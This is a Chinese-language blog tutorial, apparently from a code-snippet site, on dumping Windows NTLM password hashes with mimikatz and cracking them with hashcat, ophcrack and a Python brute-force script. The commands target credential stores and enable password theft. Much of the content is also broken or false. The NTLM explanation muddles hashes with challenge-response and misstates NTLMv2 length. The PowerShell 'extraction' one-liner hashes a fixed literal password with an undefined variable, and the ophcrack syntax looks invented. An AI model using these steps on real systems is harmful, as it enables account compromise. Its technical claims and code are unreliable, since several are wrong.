如何解密NTLM hash值?

一、了解NTLM hash值的概念

NTLM hash值是Windows平台上使用的一種密碼加密方式,包括兩個部分:一個是挑戰(challenge),另一個是響應(response)。密碼的明文不會明文傳輸,而是通過哈希算法生成一個128位或NTLMv2則是256位的哈希值,即摘要(digest),再與挑戰結合後,作為響應值發送給服務器做比對。

二、如何獲取NTLM hash值

獲取NTLM hash值需要具備管理員權限或者本機具備緩存的用戶的口令哈希,未設置緩存的用戶則無法獲取到。有以下兩種方式獲取:

1、使用工具如mimikatz、Cain等,這些工具具有提取緩存口令哈希的功能,一般用於安全滲透測試;

// 使用mimikatz提取hash值

privilege::debug
lsadump::lsa /inject /name:{username}

2、通過域控制器獲取,在域控下查詢口令哈希,可以使用PowerShell命令或直接在域控制器中運行dsusers.py等腳本。

// 使用PowerShell命令獲取hash值

Get-ADUser -Filter * -Properties * | select-object Name,PasswordLastSet,PasswordNeverExpires,@{n="PasswordAge"; e={New-TimeSpan -Start $_.PasswordLastSet}},@{n="UserStatus";e={if($_.Enabled -eq $False){"Disabled"}else{"Enabled"}}},@{n="LastLogonAge";e={if($_.LastLogonDate){New-TimeSpan -Start $_.LastLogonDate}else{"Never"}}},@{n="SID";e={$_.SID.value}},@{n="Hash";e={(([System.Text.Encoding]::Unicode.GetBytes($($_.samaccountname + ":" + 'SecretP@ssword!'))) | ([System.Security.Cryptography.HashAlgorithm]::Create($hash_type).ComputeHash($_)))}}

三、Cracking NTLM hash

Cracking NTLM hash的過程就是利用已知的口令哈希值,嘗試匹配出正確的明文密碼。這個過程一般需要使用專用的工具,如hashcat、John the Ripper、RainbowCrack等,這些工具會利用諸如字典攻擊、蠻力攻擊、規則生成等算法,對口令哈希值進行不斷地嘗試,直到匹配出正確的明文密碼。下面是一個用hashcat進行字典攻擊的例子:

// 使用hashcat進行字典攻擊

hashcat -m 1000 -a 0 ntlm_hash.txt rockyou.txt

四、使用彩虹表攻擊NTLM hash

與普通的破解工具不同,彩虹表是一種基於預先計算出的密碼與哈希值的對應表,一般以特定的哈希算法類型、字符類型和長度為輸入,生成包含大量密碼與哈希值對應關係的表。這種方法缺點是需要大量的計算和存儲成本,優點是速度很快,尤其是對於較短的密碼而言,一些現成的彩虹表工具WebCrack、Ophcrack、RainbowCrack等均可使用。

// 使用Ophcrack進行彩虹表攻擊

sudo ophcrack-cli tables:all --lm rainbow_tables --pwd-max-len 8 ntlm_hash.txt

五、採用暴力破解NTLM hash

暴力破解是指對於一個口令哈希值,逐個嘗試每種可能的明文進行匹配。這種方法速度最慢、計算量最大,但是可以匹配出任何密碼。對於較長的密碼,其匹配時間可以達到無限長,故較多的情況下不被採用。以下是一個使用Python進行暴力破解NTLM hash的例子:

import hashlib
import string
import itertools
 
# 輸入的ntlm hash值
ntlm_hash = raw_input("Enter the NTLM hash: ")
 
# 生成字符集:小寫字母、大寫字母和數字
character_set = string.ascii_lowercase + string.ascii_uppercase + string.digits
 
# 嘗試的密碼長度
password_length = 6
 
# 用於生成密碼組合的函數
def generate_combinations(password_length, character_set):
    for item in itertools.product(character_set, repeat=password_length):
        yield ''.join(item)
 
# 循環嘗試每個密碼進行匹配
for password in generate_combinations(password_length, character_set):
    ntlm = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
    if ntlm == ntlm_hash:
        print("Password is: " + password)
        break

原創文章,作者:MINVZ,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/331747.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
MINVZ的頭像MINVZ
上一篇 2025-01-20 14:10
下一篇 2025-01-20 14:10

相關推薦

  • C++ 0xff hash值是多少

    解答:在C++中,0xff是一個16進制數,其對應的十進制值是255。因此,C++ 0xff的hash值是255。 一、什麼是哈希值 哈希值是一種特殊的數據結構,它是將任意長度的消…

    編程 2025-04-27
  • 詳解hash md5加密算法

    一、md5算法概述 MD5 (Message Digest Algorithm 5)算法是一種常用的哈希加密算法,常用於對用戶口令進行加密,也可用於驗證數據的完整性、數字簽名等。M…

    編程 2025-02-15
  • Python hash()

    在 python 中,內置函數hash()用於獲取給定對象的哈希值。為了在字典查找時比較字典關鍵字,使用這些整數哈希值。實際上hash()方法調用的是對象的 __hash__() …

    編程 2025-01-11
  • Hash雲加速詳解

    一、Hash雲加速安裝 Hash雲加速是一款支持多種操作系統的網絡加速軟件,提供免費和付費版本供用戶選擇。要安裝Hash雲加速,有以下兩個步驟: 1、前往Hash雲加速官網(htt…

    編程 2024-12-28
  • 如何使用MySQL Hash函數進行數據加密

    在數據庫管理中,數據加密是非常重要的一部分。MySQL提供了一些針對數據加密的函數,其中,Hash函數是其中一種加密方法。本文將講解如何使用MySQL Hash函數進行數據加密。 …

    編程 2024-12-25
  • Hash加密:從多個角度詳細解析

    一、Hash加密基礎 Hash加密,又稱散列函數加密,是將輸入的任意長度的數據映射為固定長度的摘要信息算法。這個過程中,產生的固定長度數據被稱為散列值或者哈希值。散列函數必須滿足以…

    編程 2024-12-21
  • Java Hash

    1. 引言 在計算機科學中,哈希函數(Hash Function)是一種將數據映射到指定位數的索引(hash code)的函數。即將任意長度的消息,壓縮到某一固定長度的消息摘要(m…

    編程 2024-12-16
  • NGINX IP Hash詳解

    一、NGINX IP Hash概述 NGINX IP Hash是一個HTTP負載均衡算法,它的原理是根據客戶端的IP地址進行哈希運算,從而將相同IP的客戶端請求發送到同一個後端服務…

    編程 2024-12-15
  • 文件hash值的詳細闡述

    一、什麼是文件hash值 文件hash值(又稱「文件摘要」)是對文件內容的一種固定大小的表示方法,通常用一個字符串或數字表示。 hash值是通過將文件中的每個位元組通過特定的算法轉化…

    編程 2024-12-08
  • Redis一致性Hash詳解

    一、一致性Hash的概念 一致性Hash是一種分佈式哈希算法,在處理緩存、負載均衡等場景中被廣泛應用。它的核心思想是將每個節點映射到一個虛擬的哈希環上,將數據通過哈希算法計算得出的…

    編程 2024-12-07

發表回復

登錄後才能評論